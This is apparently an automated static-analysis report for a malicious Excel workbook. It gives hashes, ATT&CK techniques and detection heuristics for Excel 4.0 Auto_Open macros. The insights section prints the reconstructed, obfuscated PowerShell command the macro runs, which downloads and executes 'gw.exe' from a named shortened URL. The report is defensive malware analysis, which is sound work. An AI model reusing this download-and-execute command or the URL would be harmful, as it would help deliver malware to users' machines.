Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea51791b2c1509da…

MALICIOUS

Office (OLE)

132.0 KB Created: 2020-11-20 17:59:00 Authoring application: Microsoft Excel
MD5: 9ecf3d1976c10309395671f120af5270 SHA-1: b1060e2537677bf96cd48527f59a3ca7711b7606 SHA-256: ea51791b2c1509da6faf661c4a7408773d8852e999dd5a97ff972685ee132cac
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains Excel 4.0 macros, specifically an Auto_Open macro that executes a PowerShell command. This command reconstructs to 'powershell -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:appdata};.('.'+'/gw.exe')', which attempts to download a file named 'gw.exe' from 'https://tinyurl.com/yapo8pxs' into the user's AppData directory and execute it. The VBA macros are present but do not contain executable statements, indicating the primary malicious logic resides in the XLM macros.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
4e4f7500515336a0293fd18c6d9e51ca27f228a52a087221c81d674080eb195f		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1909 bytes
macros.bas
fed365d3401536fb63e11d0a36cc7c35338c0a8c74a96fb254c46366ad6287cd		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 642 bytes

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